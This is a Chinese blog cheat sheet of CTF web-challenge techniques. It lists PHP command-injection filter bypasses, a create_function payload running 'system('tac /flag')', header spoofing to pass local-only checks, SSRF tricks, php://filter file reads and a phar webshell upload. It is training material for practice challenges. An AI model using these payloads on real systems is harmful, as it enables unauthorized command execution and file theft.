web方面题目细碎知识点(持续更新)
记嘚开心壹点 2024-09-13 17:03:01 阅读 51
RCE
1.flag类似文件名被过滤时
1.1 nl *(通配符)
1.2 nl `ls`(反引号先执行)
2. 空格被过滤 $IFS$9,%09替代
3.nl,cat类似被过滤 c\at绕过
4.rce构造题:[CISCN 2019初赛]Love Math | NSSCTF
5.无回显rce
end() - 读取数组最后一个元素
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
pos() – 返回数组中的当前单元, 默认取第一个值 next – 将内部指针指向数组下一个元素并输出
scandir() – 扫描目录
array_reverse() – 翻转数组
array_flip() - 键名与数组值对调
readfile() array_rand() - 随机读取键名
var_dump() - 输出数组,可以用print_r替代
file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
get_defined_vars() - 返回由所有已定义变量所组成的数组
current() - 读取数组的第一个元素
无回显rce构造
<code>eval(end(current(get_defined_vars())));&a=highlight_file(%27flag.php%27);
HTTP请求头
题:[SWPUCTF 2022 新生赛]xff | NSSCTF
1.只允许本地访问
1.1:x-forwarded-for: 127.0.0.1
1.2:client-ip: 127.0.0.1
2.代理服务器添加
via:
3.请求来源添加
referer:
4.浏览器标识添加
User-Agent:
5.身份验证
Authorization
Cookie
ssrf
1.%00截断题:[GKCTF 2020]cve版签到 | NSSCTF
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
例:http://127.0.0.1%00www.baidu.com
2.fsockopen函数触发ssrf题:[HNCTF 2022 WEEK2]ez_ssrf | NSSCTF
poc脚本
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>
php函数
1.intval(var,base)
get传参时默认加单引号,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
if(intval($num) < 2020 && intval($num + 1) > 2021)传入1e4类似即可
2.call_user_func()题:[SWPUCTF 2022 新生赛]numgame | NSSCTF
把第一个参数作为回调函数调用
call_user_func(类::类中方法)这样可以使我们无需实例化类就可以使用类中方法
3.basename()题:
返回路径中的文件名部分,basename函数会过滤掉非ASCII的参数
4.create_function:[NISACTF 2022]level-up | NSSCTF
create_function(string a, string b)会创造一个匿名函数,传入的两个参数均为字符串
其中,字符串a中表示函数需要传入的参数,字符串b表示函数中的执行语句
例如,create_function('$a', 'echo("hello");'),我们需要把它看作:
function niming($a)
{ echo("hello"); }
遇到$a('',$b)类似结构时,传入a=create_function和b=}system('tac /flag');//
反序列化
1.内置类SplFileObject用于读取文件内容 题:[GDOUCTF 2023]反方向的钟 | NSSCTF
反序列化遇到类似echo new $_POST['a']($_POST['b']);结构时传入
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=文件名
2.& 符号用于创建引用,题:[FSCTF 2023]ez_php1 | NSSCTF
实现:
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php"); // 把变量赋值
}
public function __destruct()
{
echo $this->b; // 这里输出给了变量b
}
$x -> b=&$x -> a;
文件上传
1.phar伪协议 题:[NISACTF 2022]bingdundun~ | NSSCTF
将创建好的木马文件压缩为zip,比如muma.php压缩为muma.zip,再使用phar伪协议
格式:phar://muma.zip/muma,传入蚁剑进行连接
php全局变量
假如https://plustop.top/php/index.php/test/tt?user=xiao
$_SERVER['PHP_SELF']得到:/php/index.php/test/tt
$_SERVER['REQUEST_URL']得到:/php/index.php/test/tt?user=xiao
其次$_SERVER['REQUEST_URL']并不会对参数中的特殊符号进行解密 所以$_SERVER['REQUEST_URL']可以用url编码绕过(也可以加号(+) 左中括号([) 空格( ) 点号(.)绕过'_')
题:
php特性
1.GET或POST方式传进去的变量名,会自动将
空格 + . [
转换为_
当 [ 提前出现后,[ 会转换成下划线,而后面的字符就不会再被转义了
题[NSSRound#8 Basic]MyDoor | NSSCTF
正则过滤
1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个
2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同
3、/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
4、/s 与/m相对,单行模式匹配。
5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
6、/x 忽略空白模式。
编码
1.base64转图片标志题:[羊城杯 2020]easycon | NSSCTF
开头的
/9j/
并且头部缺少内容data:image/jpg;base64,
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。